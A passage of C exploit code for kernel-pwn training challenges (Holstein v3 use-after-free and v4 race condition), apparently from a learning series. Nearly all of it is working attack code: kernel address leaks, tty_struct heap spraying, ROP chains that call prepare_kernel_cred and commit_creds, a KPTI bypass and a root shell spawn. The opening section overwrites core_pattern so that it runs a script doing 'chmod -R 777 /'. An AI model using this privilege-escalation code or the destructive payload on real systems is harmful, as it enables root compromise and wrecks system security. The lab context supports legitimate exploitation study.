kernel_base = *(uint64_t *)(buf + 0x400 + 0x08 * 3) - 0xc38880;
g_buf_addr = *(uint64_t *)(buf + 0x400 + 0x08 * 7) - 0x438;
if (kernel_base & 0xFFFFFF != 0) {
printf("[-] Failed to leak kernel base\n");
return -1;
}
if (g_buf_addr & 0xFF != 0) {
printf("[-] Failed to leak g_buf base\n");
return -1;
}
#if PRINT_DEBUG == 1
printf("[*] kernel_base: %p\n", (void *)kernel_base);
printf("[*] g_buf_addr: %p\n", (void *)g_buf_addr);
#endif
uint64_t *rop_buf = (uint64_t *)buf;
*rop_buf++ = 0xdeadbeefcafebebe; // overwrite ioctl
*(uint64_t *)(buf + 0x400 + 0x08 * 3) = g_buf_addr - 0x0c * 8;
write(fd, buf, sizeof(buf));
#define AAW_INST_ADDR MOV_DWORD_PTR_RDX_ECX
#define AAR_INST_ADDR MOV_EAX_DWORD_PTR_RDX
#define SET_IOCTL_INST_ADDR(ADDR) \
({ \
*(uint64_t *)(buf) = (uint64_t)(ADDR); \
write(fd, buf, sizeof(buf)); \
})
SET_IOCTL_INST_ADDR(AAR_INST_ADDR);
uint64_t modified_tty_fd = 0;
for (int i = 0; i < 100; ++i) {
if (ioctl(tty_spray[i], 0x00, g_buf_addr) == *(uint32_t *)buf) {
modified_tty_fd = tty_spray[i];
break;
}
}
#define AAW32(ADDR, VAL) \
({ \
ioctl(modified_tty_fd, (uint32_t)(VAL), \
(uint64_t)(ADDR)); /*RCX <- ARG1, RDX <- ARG2*/ \
})
#define AAR32(ADDR) \
({ \
uint32_t ret = ioctl(modified_tty_fd, 0x00, (uint64_t)(ADDR)); \
ret; \
})
const char kRunEvilCmd[] = "|/tmp/evil.sh";
SET_IOCTL_INST_ADDR(AAW_INST_ADDR);
for (int i = 0; i < sizeof(kRunEvilCmd); i += 4) {
AAW32(CORE_PATTERN_ADDR + i, *(uint32_t *)(kRunEvilCmd + i));
}
system("echo -e '#!/bin/sh\nchmod -R 777 /' > /tmp/evil.sh");
system("chmod +x /tmp/evil.sh");
system("ulimit -c unlimited");
uint64_t *evil_ptr = (uint64_t *)0xdeadbeefcafebebe;
*evil_ptr = 0xdeadbeefcafebebe;
#undef SET_IOCTL_INST_ADDR
#undef AAR32
#undef AAW32
close(fd);
for (int i = 0; i < 100; ++i) {
close(tty_spray[i]);
}
return 0;
}
LK01-3 (Holstein v3: Use-after-Free)
c
exploit_using_tty_struct.c
#include <assert.h>
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <sys/ioctl.h>
#include <unistd.h>
#define PRINT_DEBUG 1
#define VULN_DEVICE_NAME "holstein"
#define VULN_BUFFER_SIZE 0x400
#define KERNEL_BASE 0xffffffff81000000
#define PUSH_RDX_XOR_EAX_POP_RSP_RBP_OFFSET (0xffffffff8114fbea - KERNEL_BASE)
#define PUSH_RDX_XOR_EAX_POP_RSP_RBP \
(kernel_base + PUSH_RDX_XOR_EAX_POP_RSP_RBP_OFFSET)
#define POP_RDI_OFFSET (0xffffffff8114078a - KERNEL_BASE)
#define POP_RDI (kernel_base + POP_RDI_OFFSET)
#define PREPARE_KERNEL_CRED_OFFSET (0xffffffff81072560 - KERNEL_BASE)
#define PREPARE_KERNEL_CRED (kernel_base + PREPARE_KERNEL_CRED_OFFSET)
#define POP_RCX_OFFSET (0xffffffff810eb7e4 - KERNEL_BASE)
#define POP_RCX (kernel_base + POP_RCX_OFFSET)
#define MOV_RDI_RAX_REP_OFFSET (0xffffffff81638e9b - KERNEL_BASE)
#define MOV_RDI_RAX_REP (kernel_base + MOV_RDI_RAX_REP_OFFSET)
#define COMMIT_CREDS_OFFSET (0xffffffff810723c0 - KERNEL_BASE)
#define COMMIT_CREDS (kernel_base + COMMIT_CREDS_OFFSET)
#define BYPASS_KPTI_OFFSET \
(0xffffffff81800e26 - \
KERNEL_BASE) // Offset in the function
// swapgs_restore_regs_and_return_to_usermode
#define BYPASS_KPTI (kernel_base + BYPASS_KPTI_OFFSET)
uint64_t kernel_base, g_buf_addr;
uint64_t user_cs, user_ss, user_sp, user_rflags;
static void save_state() {
asm("mov %[u_cs], cs;\n"
"mov %[u_ss], ss;\n"
"mov %[u_sp], rsp;\n"
"pushf;\n"
"pop %[u_rflags];\n"
: [u_cs] "=r"(user_cs), [u_ss] "=r"(user_ss), [u_sp] "=r"(user_sp),
[u_rflags] "=r"(user_rflags)::"memory");
#if PRINT_DEBUG == 1
printf(
"[*] user_cs: 0x%lx, user_ss: 0x%lx, user_sp: 0x%lx, user_rflags: "
"0x%lx\n",
user_cs, user_ss, user_sp, user_rflags);
#endif
}
static void get_shell() {
char *argv[] = {"/bin/sh", NULL};
char *envp[] = {NULL};
puts("[+] Get shell!");
execve("/bin/sh", argv, envp);
}
int main() {
char buf[VULN_BUFFER_SIZE];
save_state();
int tmp_fd1 = open("/dev/" VULN_DEVICE_NAME, O_RDWR);
if (tmp_fd1 < 0) {
return -1;
}
int rop_and_vtable_fd = open("/dev/" VULN_DEVICE_NAME, O_RDWR);
if (rop_and_vtable_fd < 0) {
return -1;
}
close(tmp_fd1);
int tmp_tty1 = open("/dev/ptmx", O_NOCTTY);
if (tmp_tty1 < 0) {
return -1;
}
read(rop_and_vtable_fd, buf, sizeof(buf));
kernel_base = *(uint64_t *)(buf + 0x08 * 3) - 0xc39c60;
g_buf_addr = *(uint64_t *)(buf + 0x08 * 7) - 0x38;
#if PRINT_DEBUG == 1
if (kernel_base & 0xFFFFFF != 0) {
printf("[-] Failed to leak kernel base\n");
return -1;
}
if (g_buf_addr & 0xFF != 0) {
printf("[-] Failed to leak g_buf base\n");
return -1;
}
printf("[*] kernel_base: %p\n", (void *)kernel_base);
printf("[*] g_buf_addr: %p\n", (void *)g_buf_addr);
#endif
uint64_t *rop_buf = (uint64_t *)buf;
*rop_buf++ = PUSH_RDX_XOR_EAX_POP_RSP_RBP; // overwrite ioctl
*rop_buf++ = POP_RDI;
*rop_buf++ = 0;
*rop_buf++ = PREPARE_KERNEL_CRED;
*rop_buf++ = POP_RCX;
*rop_buf++ = 0;
*rop_buf++ = MOV_RDI_RAX_REP;
*rop_buf++ = COMMIT_CREDS;
*rop_buf++ = BYPASS_KPTI;
*rop_buf++ = 0xdeadbeefcafebe00;
*rop_buf++ = 0xdeadbeefcafebe01;
*rop_buf++ = (uint64_t)(get_shell);
*rop_buf++ = (uint64_t)(user_cs);
*rop_buf++ = (uint64_t)(user_rflags);
*rop_buf++ = (uint64_t)(user_sp);
*rop_buf++ = (uint64_t)(user_ss);
write(rop_and_vtable_fd, buf, sizeof(buf));
int tmp_fd2 = open("/dev/" VULN_DEVICE_NAME, O_RDWR);
if (tmp_fd2 < 0) {
return -1;
}
int uaf_fd = open("/dev/" VULN_DEVICE_NAME, O_RDWR);
if (uaf_fd < 0) {
return -1;
}
close(tmp_fd2);
int tty_fd = open("/dev/ptmx", O_NOCTTY);
if (tty_fd < 0) {
return -1;
}
read(uaf_fd, buf, sizeof(buf));
*(uint64_t *)(buf + 8 * 3) = g_buf_addr - 0xC * 8;
write(uaf_fd, buf, sizeof(buf));
ioctl(tty_fd, 0x00, g_buf_addr);
return 0;
}
LK01-4 (Holstein v4: Race Condition)
c
exploit_using_tty_struct.c
#define _GNU_SOURCE
#include <bits/syscall.h>
#include <fcntl.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <unistd.h>
#define PRINT_DEBUG 1
#define VULN_DEVICE_NAME "holstein"
#define VULN_BUFFER_SIZE 0x400
#define KERNEL_BASE 0xffffffff81000000
#define PUSH_RDX_ADD_BYTE_PTR_RBX_POP_RSP_RBP_OFFSET \
(0xffffffff81137da8 - KERNEL_BASE)
#define PUSH_RDX_ADD_BYTE_PTR_RBX_POP_RSP_RBP \
(kernel_base + PUSH_RDX_ADD_BYTE_PTR_RBX_POP_RSP_RBP_OFFSET)
#define POP_RDI_OFFSET (0xffffffff810b13c5 - KERNEL_BASE)
#define POP_RDI (kernel_base + POP_RDI_OFFSET)
#define PREPARE_KERNEL_CRED_OFFSET (0xffffffff81072580 - KERNEL_BASE)
#define PREPARE_KERNEL_CRED (kernel_base + PREPARE_KERNEL_CRED_OFFSET)
#define POP_RCX_RBX_RBP_OFFSET (0xffffffff813006fc - KERNEL_BASE)
#define POP_RCX_RBX_RBP (kernel_base + POP_RCX_RBX_RBP_OFFSET)
#define MOV_RDI_RAX_REP_OFFSET (0xffffffff8165094b - KERNEL_BASE)
#define MOV_RDI_RAX_REP (kernel_base + MOV_RDI_RAX_REP_OFFSET)
#define COMMIT_CREDS_OFFSET (0xffffffff810723e0 - KERNEL_BASE)
#define COMMIT_CREDS (kernel_base + COMMIT_CREDS_OFFSET)
#define BYPASS_KPTI_OFFSET \
(0xffffffff81800e26 - \
KERNEL_BASE) // Offset in the function
// swapgs_restore_regs_and_return_to_usermode
#define BYPASS_KPTI (kernel_base + BYPASS_KPTI_OFFSET)
void fatal(const char* msg) {
perror(msg);
exit(-1);
}
pid_t gettid(void) { return syscall(SYS_gettid); }
static int next_fd1 = -1, next_fd2 = -1;
static int vuln_fd1 = -1, vuln_fd2 = -1;
static int race_win = 0;
void find_next_fds() {
next_fd1 = open("/tmp", O_RDONLY);
next_fd2 = open("/tmp", O_RDONLY);
close(next_fd1);
close(next_fd2);
}
void* race_vuln_dev(void* args) {
cpu_set_t* cpu_set = (cpu_set_t*)args;
if (sched_setaffinity(gettid(), sizeof(cpu_set_t), cpu_set)) {
fatal("sched_setaffinity");
}
while (1) {
while (!race_win) {
int fd = open("/dev/" VULN_DEVICE_NAME, O_RDWR);
if (fd == -1) {
continue;
}
if (fd == next_fd2) {
race_win = 1;
}
if (race_win == 0) {
close(fd);
}
}
if (write(next_fd1, "A", 1) != 1 || write(next_fd2, "a", 1) != 1) {
close(next_fd1);
close(next_fd2);
race_win = 0;
} else {
vuln_fd1 = next_fd1;
vuln_fd2 = next_fd2;
break;
}
usleep(1000);
}
return NULL;
}
void* spray_ptmx(void* args) {
cpu_set_t* cpu_set = (cpu_set_t*)args;
if (sched_setaffinity(gettid(), sizeof(cpu_set_t), cpu_set)) {
fatal("sched_setaffinity");
}
uint64_t val = 0;
uint64_t ptmx_spray[800];
for (int i = 0; i < 800; ++i) {
usleep(50);
ptmx_spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
if (ptmx_spray[i] == -1) {
for (int j = 0; j < i; ++j) {
close(ptmx_spray[j]);
}
return (void*)-1;
}
if (read(vuln_fd2, &val, sizeof(val)) == sizeof(val) &&
val == 0x100005401) {
for (int j = 0; j < i; ++j) {
close(ptmx_spray[j]);
}
return (void*)ptmx_spray[i];
}
}
for (int i = 0; i < 800; ++i) {
close(ptmx_spray[i]);
}
return (void*)-1;
}
int create_overlapped_fd() {
pthread_t th[2];
cpu_set_t cpu[2];
char buf[0x10] = {
0,
};
CPU_ZERO(&cpu[0]);
CPU_ZERO(&cpu[1]);
CPU_SET(0, &cpu[0]);
CPU_SET(1, &cpu[1]);
find_next_fds();
#if PRINT_DEBUG == 1
printf("[*] next_fd1: %d, next_fd2: %d\n", next_fd1, next_fd2);
#endif
pthread_create(&th[0], NULL, race_vuln_dev, (void*)&cpu[0]);
pthread_create(&th[1], NULL, race_vuln_dev, (void*)&cpu[1]);
pthread_join(th[0], NULL);
pthread_join(th[1], NULL);
#if PRINT_DEBUG == 1
printf("[*] vuln_fd1: %d, vuln_fd2: %d\n", vuln_fd1, vuln_fd2);
#endif
const char* kTestString = "Hello,Uniguri";
const size_t kTestStringLen = strlen(kTestString);
int t = write(next_fd1, kTestString, kTestStringLen);
t &= read(next_fd2, buf, kTestStringLen);
if (t != kTestStringLen || strcmp(buf, kTestString)) {
fatal("Race fail");
}
#if PRINT_DEBUG == 1
puts("[+] race success");
#endif
memset(buf, 0, sizeof(buf));
write(vuln_fd1, buf, sizeof(buf));
close(vuln_fd1);
usleep(2000);
int loop_cnt = 0;
int overlapped_ptmx_fd = (int)(uint64_t)spray_ptmx((void*)&cpu[0]);
while (overlapped_ptmx_fd == -1 && loop_cnt++ < 100) {
#if PRINT_DEBUG == 1
puts("[*] Spraying ptmx on another CPU");
#endif
pthread_create(&th[0], NULL, spray_ptmx, (void*)&cpu[1]);
pthread_join(th[0], (void*)&overlapped_ptmx_fd);
}
if (overlapped_ptmx_fd == -1) {
fatal("overlapped_ptmx_fd");
}
#if PRINT_DEBUG == 1
printf("[+] Overlap success: ptmx=%d\n", overlapped_ptmx_fd);
#endif
return overlapped_ptmx_fd;
}
uint64_t kernel_base, g_buf_addr;
uint64_t user_cs, user_ss, user_sp, user_rflags;
static void save_state() {
asm("mov %[u_cs], cs;\n"
"mov %[u_ss], ss;\n"
"mov %[u_sp], rsp;\n"
"pushf;\n"
"pop %[u_rflags];\n"
: [u_cs] "=r"(user_cs), [u_ss] "=r"(user_ss), [u_sp] "=r"(user_sp),
[u_rflags] "=r"(user_rflags)::"memory");
#if PRINT_DEBUG == 1
printf(
"[*] user_cs: 0x%lx, user_ss: 0x%lx, user_sp: 0x%lx, user_rflags: "
"0x%lx\n",
user_cs, user_ss, user_sp, user_rflags);
#endif
}
static void get_shell() {
char* argv[] = {"/bin/sh", NULL};
char* envp[] = {NULL};
puts("[+] Get shell!");
execve("/bin/sh", argv, envp);
}
int main(void) {
char buf[VULN_BUFFER_SIZE] = {
0,
};
save_state();
create_overlapped_fd();
read(vuln_fd2, buf, sizeof(buf));
kernel_base = *(uint64_t*)(buf + 8 * 3) - 0xc3aec0;
g_buf_addr = *(uint64_t*)(buf + 8 * 9) - 0x48;
if ((kernel_base & 0xFFF) != 0) {
#if PRINT_DEBUG == 1
puts("[-] Adjust kernel_base");
#endif
kernel_base &= (~0xFFF);
}
if (0xffffffff81000000 > kernel_base || kernel_base > 0xffffffffc0000000) {
fatal("kernel_base");
}
#if PRINT_DEBUG == 1
printf("[+] kernel_base: 0x%lx, g_buf_addr: 0x%lx\n", kernel_base,
g_buf_addr);
#endif
uint64_t* rop_buf = (uint64_t*)buf;
*rop_buf++ = PUSH_RDX_ADD_BYTE_PTR_RBX_POP_RSP_RBP; // overwrite ioctl
*rop_buf++ = POP_RDI;
*rop_buf++ = 0;
*rop_buf++ = PREPARE_KERNEL_CRED;
*rop_buf++ = POP_RCX_RBX_RBP;
*rop_buf++ = 0;
*rop_buf++ = 0;
*rop_buf++ = 0;
*rop_buf++ = MOV_RDI_RAX_REP;
*rop_buf++ = COMMIT_CREDS;
*rop_buf++ = BYPASS_KPTI;
*rop_buf++ = 0xdeadbeefcafebe00;
*rop_buf++ = 0xdeadbeefcafebe01;
*rop_buf++ = (uint64_t)(get_shell);
*rop_buf++ = (uint64_t)(user_cs);
*rop_buf++ = (uint64_t)(user_rflags);
*rop_buf++ = (uint64_t)(user_sp);
*rop_buf++ = (uint64_t)(user_ss);
write(vuln_fd2, buf, sizeof(buf));
int overlapped_ptmx = create_overlapped_fd();
read(vuln_fd2, buf, sizeof(buf));
uint64_t tmp_kernel_base = *(uint64_t*)(buf + 8 * 3) - 0xc3aec0;
if ((tmp_kernel_base & 0xFFF) != 0) {
tmp_kernel_base &= (~0xFFF);
}
if (tmp_kernel_base != kernel_base) {
fatal("kernel_base");
}
*(uint64_t*)(buf + 8 * 3) = g_buf_addr - 0xC * 8;
write(vuln_fd2, buf, sizeof(buf));
ioctl(overlapped_ptmx, 0x00, g_buf_addr);
return 0;
}
Reference